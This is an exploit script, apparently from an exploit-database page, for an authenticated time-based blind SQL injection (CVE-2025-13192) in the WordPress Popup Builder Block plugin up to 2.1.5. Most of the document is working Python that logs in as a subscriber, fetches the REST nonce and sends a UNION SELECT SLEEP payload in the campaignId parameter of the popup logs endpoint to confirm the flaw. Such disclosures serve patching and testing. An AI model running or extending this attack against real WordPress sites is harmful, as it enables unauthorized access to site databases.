Share
## https://sploitus.com/exploit?id=PACKETSTORM:226430
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Popup Builder Block (PopupKit) <= 2.1.5 - Authenticated (Subscriber+) Time-Based Blind SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/popup-builder-block/
# Software Link: https://downloads.wordpress.org/plugin/popup-builder-block.2.1.5.zip
# Version: 2.1.5 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13192
"""
Popup Builder Block <= 2.1.5 exposes the REST route GET /wp-json/pbb/v1/popup/logs (callback
Routes/Popup.php::get_logs). Its `campaignId` parameter is concatenated unsanitised into the SQL
WHERE clause inside DataBase::get_devices() (Helpers/DataBase.php:256):
$campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';
$wpdb->prepare("... FROM $table WHERE date BETWEEN %s AND %s $campaign", $start_date, $end_date);
Only $start_date/$end_date are bound; $campaign_id is interpolated raw -> SQL injection. The route
inherits the class default permission_callback (Routes/Popup.php:50), which requires a valid
`wp_rest` nonce, so any authenticated user down to Subscriber can reach it (a subscriber obtains the
nonce from /wp-admin/admin-ajax.php?action=rest-nonce).
Payload uses UNION SELECT SLEEP() (matching the 3 aggregate columns) so the delay fires
unconditionally regardless of table contents. type=devices selects the injectable method.
Prior state: any authenticated account (Subscriber is enough).
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def login(base, user, pw):
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php", data={"log": user, "pwd": pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
return s
def probe(s, base, nonce, seconds):
inj = "0 UNION SELECT SLEEP(%d),2,3" % seconds
q = ("campaignId=" + urllib.parse.quote(inj) +
"&startDate=2020-01-01&endDate=2020-01-02&type=devices")
t = time.time()
r = s.get(base + "/wp-json/pbb/v1/popup/logs?" + q, headers={"X-WP-Nonce": nonce}, timeout=60)
return time.time() - t, r.status_code
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="subscriber")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
s = login(base, args.user, args.pw)
nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
if not nonce or nonce == "0":
print("[-] login failed / no wp_rest nonce"); return 1
print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
t0, c0 = probe(s, base, nonce, 0)
t5, c5 = probe(s, base, nonce, args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ attacker-controlled SLEEP({args.sleep}) delayed the "
f"response by {t5 - t0:.2f}s (subscriber-level, campaignId param).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())